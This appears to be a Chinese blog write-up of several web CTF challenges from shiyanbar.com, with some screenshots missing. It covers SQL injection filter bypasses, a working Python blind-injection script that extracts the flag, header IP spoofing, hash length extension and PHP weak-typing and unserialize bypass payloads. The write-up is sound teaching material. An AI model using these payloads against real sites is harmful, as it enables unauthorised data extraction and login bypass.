自以為sql注入掌握的還是比較系統的,然而,做了這些題之后才發現,大千世界無奇不有,真是各種猥瑣的思路...還是要多學習學習姿勢跟上節奏
登錄一下好嗎??
http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
試了一下發現他過濾了/ or union select - #
雖然and ' " = + %沒有被過濾,但用%0b和%23都沒效,於是還在想這是用了多麻煩的WAF,越想越復雜我竟然還去用xss,真是跑題了...
然而最后的payload是這樣的...跪了,果然題刷的太少嗎

who are you?
http://ctf5.shiyanbar.com/web/wonderkun/index.php
進入這個頁面,發現他獲取了我的ip,首先想到的就是user agent注入,用updatexml試一下,什么錯的沒有報...看來這個思路不行
百度了才知道這是一道偽造IP的題,相關知識可以看這里:http://www.cnblogs.com/x2048/articles/1794020.html
總結下,偽造IP的HTTP頭都有這些:
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
一般用的最多的就是前兩個,這里我們用X-Forwarded-For來偽造

但是很奇怪,不管構造的是什么語句,都會返回到頁面,看了下別人的writeup發現,他的后台處理過程大致是這樣的,首先獲取到HTTP-X-Forwarded-For,對他進行字符串的處理,只截取逗號前的內容,然后直接將其輸出到頁面,再插入到數據庫,但應該沒有對插入結果做處理,即沒有輸出數據庫的報錯僅輸出空,所以想從數據庫的報錯獲取信息應該是不行了,返回頁面也是不具判斷性的,那么可以考慮時間型的盲注
這里解決的方法可以有三種:
1、寫個盲注腳本跑
這是跑出來的庫名:

表名:

字段:

於是,我們知道了flag存儲在flag表的flag字符里,且長度為32,接下來直接跑就行了

2、用burp進行時間盲注
3、用sqlmap進行http頭的盲注
然后,要注意的是跑出來的結果要加在ctf{xxx}里....被坑的很慘,跑出來flag一直提交不對,最后發現花括號用的中文字符輸入的...
因缺思汀的繞過
http://ctf5.shiyanbar.com/web/pcat/index.php
查看網頁的源碼,發現登錄的源碼路徑是source.txt

於是拿到源碼如下:
1 <?php 2 error_reporting(0); 3 4 if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { 5 echo '<form action="" method="post">'."<br/>"; 6 echo '<input name="uname" type="text"/>'."<br/>"; 7 echo '<input name="pwd" type="text"/>'."<br/>"; 8 echo '<input type="submit" />'."<br/>"; 9 echo '</form>'."<br/>"; 10 echo '<!--source: source.txt-->'."<br/>"; 11 die; 12 } 13 14 function AttackFilter($StrKey,$StrValue,$ArrReq){ 15 if (is_array($StrValue)){ 16 $StrValue=implode($StrValue); 17 } 18 if (preg_match("/".$ArrReq."/is",$StrValue)==1){ 19 print "姘村彲杞借垷錛屼害鍙禌鑹囷紒"; 20 exit(); 21 } 22 } 23 24 $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; 25 foreach($_POST as $key=>$value){ 26 AttackFilter($key,$value,$filter); 27 } 28 29 $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); 30 if (!$con){ 31 die('Could not connect: ' . mysql_error()); 32 } 33 $db="XXXXXX"; 34 mysql_select_db($db, $con); 35 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; 36 $query = mysql_query($sql); 37 if (mysql_num_rows($query) == 1) { 38 $key = mysql_fetch_array($query); 39 if($key['pwd'] == $_POST['pwd']) { 40 print "CTF{XXXXXX}"; 41 }else{ 42 print "浜﹀彲璧涜墖錛�"; 43 } 44 }else{ 45 print "涓€棰楄禌鑹囷紒"; 46 } 47 mysql_close($con); 48 ?>
從源碼中可以知道這些全都被過濾了:and|select|from|where|union|join|sleep|benchmark|,|\(|\)
並且數據庫中只有一條數據
if (mysql_num_rows($query) == 1) {
最核心的部分是這里
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
大致的執行過程是先將用戶輸入的uname作為查詢條件,在數據庫中查詢uname和pwd,然后將查詢到的pwd與用戶輸入的pwd進行比較,內容一致才輸出flag
這里的思路是,利用group by pwd with rollup在查詢中的一個特點,他可以返回pwd所在的那一條記錄,通過limit控制返回哪一條,因此他不可以返回多條,一旦返回2條及以上,pwd就會為空,但同一條記錄中的其他字段則是正常的
那么利用這一點令查詢結果為空,我們輸入的pwd也為空值,則構成了if(null==null)為true

簡單的sql注入之三
http://ctf5.shiyanbar.com/web/index_3.php
看源碼,是一個用get方式傳參數id的查詢,於是手工注入一波,發現單引號引起報錯,加上注釋后回顯正常,id在1~3的范圍都可以正常回顯“Hello!”,否則返回空,嘗試邏輯運算,可以正常返回,那這就很好辦了
然后,我就開始入了手注的坑...
首先來試試有幾個字段


2報錯了,說明只查詢出一個字段,那么用union試試

沒有想要的結果回顯,很奇怪,看來這個Hello不是輸出的位置,應該是后台在獲取到id的值后,執行sql語句,如果存在查詢的結果,那么就輸出Hello,但不輸出結果
如果是這樣的話,那么只能從報錯回顯入手了,先試試雙注入

很尷尬,做了報錯處理?那試試xpath的報錯

還是不行...好吧,報錯這條路也被堵了,那就考慮盲注吧
,

根據上面頁面中的不同返回,我們可以寫一個bool型的盲注腳本來爆數據庫,當然也可以用burp搞定
這里偷個懶,因為已經知道ctf的套路了,所以可以直接來猜表名和字段
1 # coding:utf-8 2 import requests 3 import string 4 string = string.digits+string.ascii_lowercase 5 flag = [] 6 FLAG = False 7 8 def POC(x,i): 9 url = 'http://ctf5.shiyanbar.com/web/index_3.php?id=' 10 poc = "1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, i) 11 res = requests.get(url+poc) 12 #print('testing url:' + url + poc) # test... 13 if res.headers['Content-Length'] == '471': 14 return 1 15 else: 16 return 0 17 for x in range(1, 35): 18 for i in range(32, 129): # ascii碼可見字符32-127 19 if POC(x, i): 20 flag.append(chr(i)) # chr()將整數轉為對應的ascii碼字符 21 break 22 elif i == 128: # 當該位flag沒有匹配的字符時退出循環 23 FLAG = True 24 if FLAG: 25 break 26 # 以字符串的形式輸出結果 27 get_flag = '' 28 for i in flag: 29 get_flag += i 30 print get_flag
這是我參考了下別人的wp寫的,其中最重要的是這里:
poc = "1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, i)
x是正在匹配的flag的字符位置,i是這個字符可能對應的ascii碼整數,%%是Python翻譯轉義字符%時用的,因為是直接用的ctf的套路,也有可能不准,所以在這之前需要進行一些驗證,像這樣:

頁面返回正常,說明存在flag表,用同樣的方法可以驗證flag表里存在flag字段
還有這段POC中,驗證頁面是否返回正常是用的這句:
if res.headers['Content-Length'] == '471': return 1 else: return 0
因為當語句合法時(flag字符猜解正確),頁面始終返回的是Hello!那么他的返回報文長度就是一定的,我們可以通過攔截返回包查看報文長度:

這里的長度是471,所以當Content-Length等於471時返回1,否則返回0
運行結果:

簡單的sql注入之二
http://ctf5.shiyanbar.com/web/index_2.php
首先嘗試單引號:

根據以上報錯,可以知道這里單引號沒有被過濾,他可以影響到sql語句,繼續嘗試其他的發現,他過濾了空格,當然,空格可以用%20,%0a,/**/,/*!*/,/*!50000*/,+,()替換,其中%20,+和()均被過濾了,嘗試/**/替換空格可以繞過,對於其他的字符都沒有做什么特別的過濾,於是構造如下:

這里就是這道題很奇怪的地方了,用hackbar輸入的結果和直接輸入效果完全不同...上面是用hackbar的結果,下面看看直接輸入:

竟然就這么給我爆flag了,此時我想做一個捂臉笑哭的表情...簡直就是神奇,如果有人知道為什么會這樣,請一定要告訴我
還有,為什么flag和上一道題是一樣的啊,出題的也太懶了吧...后台肯定是用的一張表,BCTF也出現過這種[攤手]
簡單的sql注入
http://ctf5.shiyanbar.com/423/web/
首先還是嘗試單引號:

沒有被過濾,然后嘗試邏輯運算,and被過濾了但還好or沒有被過濾:

下面嘗試爆表名和字段,發現他過濾了很多關鍵字:and,select,from,union,where,這里繞過關鍵字的方法有:關鍵字中間加/**/隔斷,/*!關鍵字*/,關鍵字中間加%0b隔斷,關鍵字重寫(關關鍵字鍵字),大小寫混合等等,嘗試后/*!*/可以繞過,還是按套路,先拿flag做表名和字段名試試:

說明存在flag表,那基本就是老套路了,可以繼續用這個方法驗證,下面我就直接爆flag了:

上面直接用之前的方式會報錯,后來注意到應該是后面還有個查詢的判斷條件,所以就算注釋后還是有報錯
ps:這里還有一種檢驗表名是否存在的方式:

天下武功唯快不破
http://ctf5.shiyanbar.com/web/10/10.php
首先看源碼發現他給的提示:

和post的參數有關,那就看看報文吧

發現了一個FLAG參數是用base64編碼的,解碼后內容是:P0ST_THIS_T0_CH4NGE_FL4G:Hrd54sRiP,試驗了幾次發現:后的字符是隨機的,既然他提示的是快速post提交參數key,首先想到的就是寫py腳本構造請求頭,腳本如下:
1 import requests 2 import base64 3 4 url = 'http://ctf5.shiyanbar.com/web/10/10.php' 5 s = requests.session() 6 response = s.get(url) 7 head = response.headers 8 flag = base64.b64decode(head['FLAG']).split(':')[1] 9 data = {'key': flag} 10 result = s.post(url=url, data=data) 11 print result.text
大致的執行過程就是獲取報頭中FLAG字段的內容,用base64解碼,然后作為key的值構造post請求,最后打印請求響應的內容,即flag,運行結果如下:

但這道題很有意思的是,他其實可以不用session,貌似出題人在后台沒有用session控制訪問,應該是通過ip的判斷實現的用戶區分,我做了一個小測試:當獲取到一個key值后構造post請求最大的延時時間是3s

想了想他的后台操作應該是這樣的:客戶端get請求該地址,服務端收到請求會隨機生成一個的字符串,加密后作為返回報文的FLAG字段,即base64加密的key值,同時,后台會將加密前的該值存入數據庫,這里會有一個時間判斷,超過3s會從數據庫中刪除,若客戶端在3s內獲取key值並將他作為參數post后,后台會從數據庫中取出進行匹配,匹配成功將會獲取flag,但是,從數據庫中取出時需要分辨是哪個用戶在什么時候存入的(同一個用戶可以做連續多次的get請求),所以這里在數據庫中的一定有一個ip字段做索引,即做請求操作的ip與對應生成的隨機字符串存入數據庫,當用戶post后會根據該用戶的ip來取對應的字符串,與post的字符串做匹配,這樣,就可以不用session來控制訪問了
還有一道類似的題,但需要使用session來訪問:http://web.sniperoj.cn:10003/
首先還是抓包看看:

可以看到報文里有一個hint和get_flag字段,意思就是將get_flag解密后作為sinperOJ的值,提交post請求獲取返回的內容,把get_flag解密后也是隨機字符串,但是,他和上面那道題有一個明顯的不同,他的最大時間限制大約是24小時,所以,可以推測應該是用了session來控制訪問,於是還是和之前的套路一樣,寫一個腳本來跑,把之前的稍微改一下:
1 # coding:utf-8 2 import requests 3 import base64 4 import time 5 6 #url = 'http://ctf5.shiyanbar.com/web/10/10.php' 7 url = 'http://web.sniperoj.cn:10003/' 8 s = requests.session() # 獲取一個session對象 9 response = s.get(url) # 以帶session的訪問,打開鏈接 10 head = response.headers # 獲取響應頭 11 flag = base64.b64decode(head['Get-flag'])#.split(':')[1] # 獲取報文頭FLAG的內容 12 print flag 13 data = {'SniperOJ' : flag} # 構造post請求 14 result = s.post(url=url, data=data) # 發送post請求 15 print result.text # 打印響應內容
運行結果:

讓我進去
http://ctf5.shiyanbar.com/web/kzhan.php
這道題的突破口很奇怪,抓包后發現cookie里有一個可疑的參數source=0

嘗試把source改成1后,就爆源碼了,所以說ctf里的姿勢都是千奇百怪的...下面是源碼:
1 <html> 2 <body> 3 4 <pre> 5 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; 6 $secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security! 7 8 $username = $_POST["username"]; 9 $password = $_POST["password"]; 10 11 if (!empty($_COOKIE["getmein"])) { 12 if (urldecode($username) === "admin" && urldecode($password) != "admin") { 13 if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) { 14 echo "Congratulations! You are a registered user.\n"; 15 die ("The flag is ". $flag); 16 } 17 else { 18 die ("Your cookies don't match up! STOP HACKING THIS SITE."); 19 } 20 } 21 else { 22 die ("You are not an admin! LEAVE."); 23 } 24 } 25 26 setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7)); 27 28 if (empty($_COOKIE["source"])) { 29 setcookie("source", 0, time() + (60 * 60 * 24 * 7)); 30 } 31 else { 32 if ($_COOKIE["source"] != 0) { 33 echo ""; // This source code is outputted here 34 } 35 } 36 </pre> 37 <h1>Admins Only!</h1> 38 <p>If you have the correct credentials, log in below. If not, please LEAVE.</p> 39 <form method="POST"> 40 Username: <input type="text" name="username"> <br> 41 Password: <input type="password" name="password"> <br> 42 <button type="submit">Submit</button> 43 </form> 44 45 </body> 46 </html>
研究一下他的源碼,看看他是怎樣實現的,簡單來說就是cookie中的參數getmein不為空時,傳入經過url編碼的參數username和password,然后將兩者解碼后與后台一個參數secret拼接成一個字符串,然后做一個md5加密,如果和cookie中參數getmein的值相同,則會爆出flag,但問題是cookie中沒有這個參數getmein,也就是說需要我們自己構造,但是可以根據cookie中存在的參數sample-hash,其生成的原理進行構造,sample-hash是一個md5值,解碼該值后可以獲得后台的secret,然后就可以根據這個值構造正確的md5值了,但是md5加密是單項不可逆的,要解密的話一般方法是用暴力破解,暴力肯定是不可能了,畢竟secret有15位,這里要用到的一個知識點就是hash長度擴展攻擊,這里有一篇文章就是講解這個知識點的:http://www.freebuf.com/articles/web/69264.html
思路是這樣,但這道題還沒吃透,先過
拐彎抹角
http://ctf5.shiyanbar.com/10/indirection/
這道題一來就給了源碼,大致思路就是安照他的源碼,按要求構造請求的url,先放源碼:
1 <?php 2 // code by SEC@USTC 3 4 echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; 5 6 $URL = $_SERVER['REQUEST_URI']; 7 //echo 'URL: '.$URL.'<br/>'; 8 $flag = "CTF{???}"; 9 10 $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); 11 $stop = 0; 12 13 //這道題目本身也有教學的目的 14 //第一,我們可以構造 /indirection/a/../ /indirection/./ 等等這一類的 15 //所以,第一個要求就是不得出現 ./ 16 if($flag && strpos($URL, './') !== FALSE){ 17 $flag = ""; 18 $stop = 1; //Pass 19 } 20 21 //第二,我們可以構造 \ 來代替被過濾的 / 22 //所以,第二個要求就是不得出現 ../ 23 if($flag && strpos($URL, '\\') !== FALSE){ 24 $flag = ""; 25 $stop = 2; //Pass 26 } 27 28 //第三,有的系統大小寫通用,例如 indirectioN/ 29 //你也可以用?和#等等的字符繞過,這需要統一解決 30 //所以,第三個要求對可以用的字符做了限制,a-z / 和 . 31 $matches = array(); 32 preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); 33 if($flag && empty($matches) || $matches[1] != $URL){ 34 $flag = ""; 35 $stop = 3; //Pass 36 } 37 38 //第四,多個 / 也是可以的 39 //所以,第四個要求是不得出現 // 40 if($flag && strpos($URL, '//') !== FALSE){ 41 $flag = ""; 42 $stop = 4; //Pass 43 } 44 45 //第五,顯然加上index.php或者減去index.php都是可以的 46 //所以我們下一個要求就是必須包含/index.php,並且以此結尾 47 if($flag && substr($URL, -10) !== '/index.php'){ 48 $flag = ""; 49 $stop = 5; //Not Pass 50 } 51 52 //第六,我們知道在index.php后面加.也是可以的 53 //所以我們禁止p后面出現.這個符號 54 if($flag && strpos($URL, 'p.') !== FALSE){ 55 $flag = ""; 56 $stop = 6; //Not Pass 57 } 58 59 //第七,現在是最關鍵的時刻 60 //你的$URL必須與/indirection/index.php有所不同 61 if($flag && $URL == '/indirection/index.php'){ 62 $flag = ""; 63 $stop = 7; //Not Pass 64 } 65 if(!$stop) $stop = 8; 66 67 echo 'Flag: '.$flag; 68 echo '<hr />'; 69 for($i = 1; $i < $stop; $i++) 70 $code = str_replace('//Pass '.$i, '//Pass', $code); 71 for(; $i < 8; $i++) 72 $code = str_replace('//Pass '.$i, '//Not Pass', $code); 73 74 75 echo highlight_string($code, TRUE); 76 77 echo '</body></html>';
於是根據這些要求最后構造出來的url如下:

很奇怪的是,如果url是這樣的,也能返回正常頁面:

在第七條要求中不是說不能和他相同嗎...不過,這道題確實提供了不錯的解題思路
安女神之名
http://ctf5.shiyanbar.com/10/an.php
這道題根據題意先拿安女神試試手,確實是被過濾了,這時意識到需要漢字轉碼,直接把安女神轉成unicode編碼安女神
但是這里有一個坑,之前上傳的參數被記到瀏覽器的cookie中去了,所以還要先清理一些瀏覽器的cookie,然后再構造如下url,查看源碼發現flag

Forms
http://ctf5.shiyanbar.com/10/main.php
對於這類題已經總結出一些經驗了,一般頁面簡單且沒有特別提示的,那么不是源碼里有東西,就是發送請求的包里有東西,這道題就是在源碼里,而且多半是提供特別信息或者獲取源碼之類的

可以看到在源碼中有一個隱藏表單,名字是showsource,value是0,相似的題之前已經遇到過了,不過之前是在發送的包里,同樣的我們把這里的value改成1,即可獲取源碼:

之后的就簡單了,直接根據源碼post數據,結果如下:

天網管理系統
http://ctf5.shiyanbar.com/10/web1/
這道題還是看源碼:

看到注釋里面有一個提示,當傳入的username值經md5加密后等於0,就會返回某樣東西,多半就是flag或者源碼
在某些情況下,PHP會把類數值數據(如含有數字的字符串等)轉換成數值處理,== 運算符就是其中之一。在使用 == 運算符對兩個字符串進行松散比較時,PHP會把類數值的字符串轉換為數值進行比較,如果參數是字符串,則返回字符串中第一個不是數字的字符之前的數字串所代表的整數值。比如: '3' == '3ascasd'結果為true。
推薦看看這篇writeup:http://www.cnblogs.com/ssooking/p/5877086.html
因此只要找到一個字串加密后第一個字符為0即可,總體結構就是e+數字,這里提供幾個:240610708,aabg7XSs,aabC9RqS,s878926199a、QNKCDZ

這里我們獲取到一個路徑,多半就是源碼的路徑了:

源碼中關鍵的一個函數unserialize(),這是一個和php序列化有關的函數:
serialize() 對輸入的數據進行序列化轉換
unserialize() 恢復原先變量,還原已經序列化的對象。
他的大致意思是,將接收到的password經過序列化還原成數組,其中user和pass都要等於后台的某個值,然后會返回一個flag,但關鍵是我們並不知帶后台的這兩個值是什么,於是這里考察的就是php的弱類型了,bool類型的true跟任意字符串都可以弱類型相等,因此我們可以構造bool類型的序列化數據:a:2:{s:4:"user";b:1;s:4:"pass";b:1;}這句話的意思是password是一個長度為2的數組(a指數組,s指字符string,數字是長度),他的一個元素是user,長度為4,bool值為1,另一個元素是pass,長度為4,bool值為1(b指bool值),於是運行后結果如下:

參考文獻:
http://www.jianshu.com/p/5d34b3722128
http://blog.csdn.net/qq_34841823/article/details/54313457#
